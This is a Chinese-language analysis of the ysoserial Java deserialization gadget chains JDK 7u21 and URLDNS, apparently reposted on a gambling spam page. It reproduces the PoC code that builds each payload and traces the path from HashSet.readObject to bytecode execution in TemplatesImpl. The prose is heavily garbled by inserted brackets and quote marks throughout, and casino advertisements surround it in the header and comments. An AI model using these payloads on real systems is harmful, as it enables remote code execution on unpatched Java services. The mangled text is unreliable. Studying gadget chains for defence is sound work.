, 目录Sunbet 申博www.1888ss.com秉承以客为先{ 的[}理念,多年运营、专业团队、专注服务、值得信赖。
- 7u21
- gadget「链分析」
- hashCode“绕过”
- 参考
- URLDNS
7u21
7u21中利用{了}TemplatesImpl来执行命令,结合动态代理、AnnotationInvocationHandler、HashSet都成{了}gadget链。
先看一下调用栈,(把)ysoserial中{ 的[}调用栈简化{了}一下
LinkedHashSet.readObject()
LinkedHashSet.add()
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
对_bytecodes属性{ 的[}值(「“实例”」{ 的[}字节码)‘进行’「“实例”」化
RCE
其中关于TemplatsImpl
类如何执行恶意代码{ 的[}知识可以参考另一篇文章中对CommonsCollections2{ 的[}分析,『这里不再赘述』。只要知道这里调用TemplatesImpl.getOutputProperties()
可以执行恶意代码即可。
看一下ysoserial{ 的[}poc
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//返回构造好{ 的[}TemplatesImpl「“实例”」,「“实例”」{ 的[}_bytecodes属性{ 的[}值『是』执行恶意语句类{ 的[}字节码
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作为构造方法{ 的[}『第二个』参数,map赋值给AnnotationInvocationHandler.membervalues属性
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//为AIH创建代理
LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父类『是』HashSet
set.add(templates);//TemplatesImpl「“实例”」
set.add(proxy);//AnnotationInvocationHandler「“实例”」{ 的[}代理,AnnotationInvocationHandler{ 的[}membervalues『是』TemplatesImple「“实例”」
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); //绑定到AnnotationInvocationHandler{ 的[}那个map中{ 的[}再添加一组键值对,value『是』TemplatesImpl「“实例”」。但『是』由于map中{ 的[}第一组键值对{ 的[}键也『是』zeroHashCodeStr,因此这里就『是』相当于(把)「第一个」键值对{ 的[}value重新复赋值{了}。
return set;//返回LinkedHashSet「“实例”」,(用于)序列化
}
【总体来说就『是』返回一个】LinkedHashSet
「“实例”」,其中有两个元素,「第一个」元素『是』_bytecodes
属性『是』恶意类字节码{ 的[}TemplatesImpl「“实例”」。
『第二个』元素『是』AnnotationInvocationHandler{ 的[}代理「“实例”」,这个AnnotationInvocationHandler「“实例”」在初始化时将一个HashMap「“实例”」传入,HashMap{ 的[}「第一个」元素{ 的[}key『是』TemplatesImpl「“实例”」。
看一下AnnotationInvocationHandler{ 的[}构造方法
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
也就『是』(把)这个HashMap「“实例”」赋值给{了}memberValues
属性。
至此poc分析完毕,『下面调试一下反序列化触发』gadget链{ 的[}流程。有感到模糊{ 的[}地方可以参考以上{ 的[}分析。
gadget「链分析」
{首}先由于poc return{了}LinkedHashSet
「“实例”」(用于)序列化,因此这就『是』反序列化{ 的[}入口。由于LinkedHashSet
没有实现readObject()
方法,因此跟进其父类:HashSet.readObject
。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));//创建一个新map
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);//将反序列化出来{ 的[}元素put到map中
}
}
我们主要关注其对元素{ 的[}操作。可以看到最后{ 的[}一个for循环,变量e【就『是』每个元素反序列化之后{ 的[}「“实例”」】。由于在构建poc时,LinkedHashSet{被我们添加{了}两个元素},因此这里会进行两次for循环,第一次e『是』TemplatsImpl「“实例”」,第二次『是』Proxy「“实例”」
这里(把)两个元素反序列化之后会作为「第一个」参数调用[map.put(),跟进一下这个方法
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
「《我们》主要关注这里对「第一个」参数」key
{ 的[}操作,因为我们{ 的[}payload就在TemplatsImple和Proxy「“实例”」中,因此只有对key
做某些操作才可能会触发我们{ 的[}payload。
‘可’以看到首先调用{了}hash(key)
,跟进一下HashMap.hash()
final int hash(Object k) {
...
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
「可」以发现,这里调用{了}key{ 的[}hashCode()方法。我们挨个看看两个key:TemplatesImpl和Proxy『是』如何调用hashCode(){ 的[}。
由于TemplatesImpl并没有实现hashCode()方法,因此直接调用{了}基类Object.hashCode()。
public native int hashCode();
这『是』个native方法,也就『是』java调用非java代码编写{ 的[}【接口】,这个hashCode()大概『是』通过计算 对象[{ 的[}内存地址得到{ 的[}。下面再看Proxy.hashCode(),由于动态代理{ 的[}特性,调用Proxy{ 的[}所有方法都会转而调用绑定在Proxy上{ 的[}InvocationHandler
{ 的[}Invoke()方法。回顾最上面创建Proxy时,我们绑定{ 的[}InvocationHandler
『是』AnnotationInvocationHandler「“实例”」,因此这里会转而调用AnnotationInvocationHandler.invoke()
,跟进之后发现,最底层调用{了}AnnotationInvocationHandler.hashCodeImple()
方法
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
这里看{ 的[}会比较绕,其实就『是』通过遍历this.memberValues.entrySet()
中{ 的[}所有键值对,来计算其中{ 的[}key和value{ 的[}hash,全部加起来之后返回最后{ 的[}hash值。这里{ 的[}this.memberValues
属性就『是』我们在构建poc时传入{ 的[}那个HashMap「“实例”」。
Proxy.hashCode()跟完{了},没有什么危险操作。因此回到最开始{ 的[}HashMap.put()中。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
int hash = hash(key)
这一步已经跟踪完{了},继续往下看。可以看到for循环{ 的[}条件『是』table[i] != null
,这里{ 的[}table在最后调用{ 的[}addEntry()中进行{了}赋值,跟进一下
void addEntry(int hash, K key, V value, int bucketIndex) {
if ((size >= threshold) && (null != table[bucketIndex])) {
resize(2 * table.length);
hash = (null != key) ? hash(key) : 0;
bucketIndex = indexFor(hash, table.length);
}
createEntry(hash, key, value, bucketIndex);
}
void createEntry(int hash, K key, V value, int bucketIndex) {
Entry<K,V> e = table[bucketIndex];
table[bucketIndex] = new Entry<>(hash, key, value, e);
size++;
}
「可」以发现,这里利用key、value和hash创建{了}一个Entry「“实例”」,然后添加到{了}table数组中。回到上面{ 的[}put()方法,由于for循环处{ 的[}table 中没有数据[,《因此调用》完addEntry()就直接return{了}。
接下来『是』第二次进入put()方法,这一次传入{ 的[}k参数『是』Proxy「“实例”」。int hash = hash(key);
我们已经跟进过{了},仅需往下看,到{了}for循环。由于在上一次table中已经有{了}数据,因此这里会进入。然后就到{了}if条件
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
...
这里{ 的[}变量e就『是』在上次添加到table数组中{ 的[}那个Entry 对象[。e.hash
就『是』初始化时传入{ 的[}hash{ 的[}值,{同理}e.key
也『是』初始化时传入{ 的[}key。‘如果’这里满足e.hash == hash
且e.key != key
时,就会调用key.equals(e.key)
。
{这些条件后面会回过头来说},先假设这些条件都可以满足。就会导致调用key.equals(e.key)
,这里{ 的[}key
『是』Proxy
,而e.key
『是』上一次{ 的[}TemplatesImpl
「“实例”」。又由于调用{了}Proxy{ 的[}方法,自动跳转到AnnotationInvocationHandler.invoke()
。跟进一下
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
...
}
}
var1『是』代理类「“实例”」,var2『是』调用{ 的[}方法,就『是』equals
{ 的[}Method 对象[,var3『是』调用{ 的[}参数,也就『是』TemplatesImpl
「“实例”」。注意上面{ 的[}「第一个」if条件,equals
方法{ 的[}参数『是』Object
类型,因此总体判定条件为True,从而以var3[0]
为参数,调用this.equalsImpl()
,跟进
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
这里{ 的[}var1就『是』TemplatesImpl
「“实例”」,而this.type
在创建poc时就已经定义{了}
Reflections.setFieldValue(tempHandler, "type", Templates.class);
TemplatesImpl
{ 的[}正『是』实现{了}Templates
【接口】,因此if条件中{ 的[}this.type.isInstance(var1)
『是』True,非True就『是』False,因此进入Else语句。首先调用{了}this.getMemberMethods()
,跟进一下
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射获取this.type类/【接口】中声明{ 的[}所有方法
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
由于this.type『是』Templates
【接口】,因此看一下这个【接口】声明{了}哪些方法。
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}
只声明{了}两个方法:newTransformer()和getOutputProperties()。
回到equalsImpl()
,获取{了}this.type中声明{ 的[}方法之后返回给变量var2。然后进入一个for循环,对这些方法进行遍历。先(把)方法名赋值给var6,跟进this.asOneOfUs()
private AnnotationInvocationHandler asOneOfUs(Object var1) {
if (Proxy.isProxyClass(var1.getClass())) {
...
}
return null;
}
由于var1『是』TemplatesImpl
「“实例”」,并不『是』Proxy,因此直接return null。回到上面,由于var9『是』null,因此进入else语句
var8 = var5.invoke(var1);
var5『是』上面返回{ 的[}两个方法{ 的[}其中一个,也就『是』newTransformer()和getOutputProperties(),var1『是』TemplatesImpl
「“实例”」。【这里通过反射调】用TemplatesImpl
{ 的[}var5方法。
本文一开始就说{了},调用TemplatesImpl.getOutputProperties()
会导致TemplatesImpl._bytecodes
{ 的[}值(含有执行恶意代码{ 的[}类{ 的[}字节码)‘进行’「“实例”」化,因此这里就『是』漏洞{ 的[}触发点{了}。
hashCode“绕过”
至此漏洞已经成功触发,【回到】之前还有一个没有完成{ 的[}点,也就『是』HashMap.put()方法中{ 的[}那个if条件。
public V put(K key, V value) {
...
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
...
}
也就『是』这里{ 的[}e.hash == hash
和e.key != key
。由于key『是』Proxy「“实例”」,e.key『是』TemplatesImpl「“实例”」,因此『第二个』条件好满足,注意『是』「第一个」条件,如何保证两者{ 的[}hash相同?
e.hash『是』由TemplatesImpl.hashCode()
,由于TemplatesImpl没有定义这个方法,《因此调用》{ 的[}『是』Object{ 的[}方法,而正如之前说{ 的[},Object.hashCode()
『是』通过 对象[{ 的[}内存地址来计算hash{ 的[}。
hash变量『是』Proxy.hashCode()返回{ 的[},也就『是』之前分析{ 的[}AnnotationInvocationHandler.hashCodeImple()
,回顾一下
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
这里{ 的[}this.memberValues
属性就『是』我们在构建poc时传入{ 的[}那个HashMap「“实例”」,也就『是』(new HashMap()).put("f5a5a608", templates)
,templates『是』TemplatesImpl「“实例”」。上面{ 的[}hashCodeImple()主要『是』这句:
private int hashCodeImpl() {
...
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
...
return var1;
}
而key『是』"f5a5a608",value『是』TempIatesImpl「“实例”」,因此等价于
127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates)
跟进一下memberValueHashCode
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
...
由于参数『是』TemplatesImpl 对象[,因此直接返回{了}TemplatesImpl.hashCode()
,前面已经说{了},其TemplatesImpl《并没有重写》hashCode,《因此调用》Object.hashCode()“根据 对象[{ 的[}内存地址生成{了}”hash。至此两个hash{ 的[}值已经计算完{了}。
「第一个」hash:
TemplatesImpl「“实例”」.hashCode()
『第二个』hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl「“实例”」.hashCode()
这两个TemplatesImpl 「“实例”」{ 的[}内存地址实际上『是』一样{ 的[}[,因为在构建poc时,用{ 的[}就『是』同一个TemplatesImpl「“实例”」:
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl「“实例”」
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
...
LinkedHashSet set = new LinkedHashSet();
set.add(templates);//插入TemplatesImpl「“实例”」
set.add(proxy);//Proxy代理
...
map.put(zeroHashCodeStr, templates);//插入TemplatesImpl「“实例”」
return set;
}
由于『是』同一个「“实例”」,因此内存地址相同,因此Object.hashCode()
返回{ 的[}hash也『是』相同{ 的[}。回看一下两个hash
「第一个」hash:
TemplatesImpl「“实例”」.hashCode()
『第二个』hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl「“实例”」.hashCode()
我们只需要计算一下"f5a5a608".hashCode()
,这也『是』一个比较有意思{ 的[}点,直接放到Debug中计算一下
结果『是』0!这个值好像『是』一哥们通过一个while循环遍历出来{ 的[}。因此上面{ 的[}『第二个』hash由于『是』127 * 0,因此也『是』0,从而两个hash变成{了}:
「第一个」hash:
TemplatesImpl「“实例”」.hashCode()
『第二个』hash
0 ^ TemplatesImpl「“实例”」.hashCode()
^『是』异或运算符,异或{ 的[}规则『是』转换成二进制比较,相同为0,不同为1。「由于『是』按二进制{ 的[}位进行比较」,0只有一位,(也就『是』说如果一个数{ 的[}最低位与)0相同,那一位则为0,否则则为1,【这个结果正好与条件一样】,只有最低位『是』0时才会与0相同,从而返回0。如果最低位『是』1,与0不同,则返回1,也就『是』啥都没变呗。所以说任何数与0异或,结果都还『是』原来{ 的[}值,『因此上』面这两个hash相等{了}。
至此几个条件全部满足,通过后面{ 的[}key.equals(k)
造成{了}代码执行。
因此整个{ 的[}数据流大概『是』
HashSet.readObject()
HashMap.put()
TemplatesImpl.hashCode()
HashMap.put()
Proxy.hashCode()
AnnotationInvocationHandler.Invoke()
AnnotationInvocationHandler.hashCodeImpl()
Proxy.equals()
AnnotationInvocationHandler.Invoke()
AnnotationInvocationHandler.equalsImpl()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
对_bytecodes属性{ 的[}值(「“实例”」{ 的[}字节码)‘进行’「“实例”」化
RCE
参考
JDK7u21反序列化漏洞分析
ysoserial payload分析
URLDNS
这个gadget“会在反序列化时发送一个”DNS请求,仅依赖于JDK,因此适用范围很广,应该『是』只要有反序列化入口就能用这个gadget打。
先看一下调用栈
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
这里就涉及到{了}URL类,这个类{ 的[}hashCode()
方法底层会调用URLStreamHandler.hashCode()
发送一个DNS请求。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
...
在反序列化时,HashMap{会自动对键计算}hash,其中就调用{了}键{ 的[}hashCode()方法,因此我们可以利用HashMap来触发URL.hashCode()
:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
...
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);//
}
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
根据以上描述大概可以写出这样{ 的[}poc
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
return ht;
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
这里{ 的[}SilentURLStreamHandler
类重写{了}URLStreamHandler.getHostAddress()
,这样可以保证在编译gadget时不会发送DNS请求。
然后我们(把)上面poc返回{ 的[}类进行序列化,在反序列化并没有发送DNS请求。调试之后才发现,在反序列化调用URL.hashCode()
由于已经存在hashCode
且值不为-1,从而直接return掉{了}。
因此我们需要保证URL.hashCode
{ 的[}值为null或-1。我们可以在序列化时利用反射来修改URL{ 的[}属性,【如下】
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
调用链【如下】
HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()
网友评论
最新评论
欧博网址欢迎进入欧博网址(Allbet Gaming):www.aLLbetgame.us,欧博网址开放会员注册、代理开户、电脑客户端下载、苹果安卓下载等业务。很好嘛
@AllbetGmaing客户端下载 在二手房生意环节,做事群众通过济南“政务服务网”和“泉城办”手机APP一次提交相关质料,挂号、买卖、税务部门并行审核,开展网上缴费、缴税(支持银联及微信、支付宝品级三方支付)、电子证照等服务,水电气热等相关营业网上同步过户,限时完成,变“群众跑”“部门跑”为“数据跑”。好久没来了,再踩踩
@AllbetGmaing客户端下载 他指出,【可注意自立立异龙头】(5G、(区块链)、晶片), 内需主导行业[( 医药[、(消耗)、《教诲》、‘物管’、<基建等>),上市公司回购及央企私有化,‘质优超卖当地蓝’筹股及<行业龙头>。不落俗套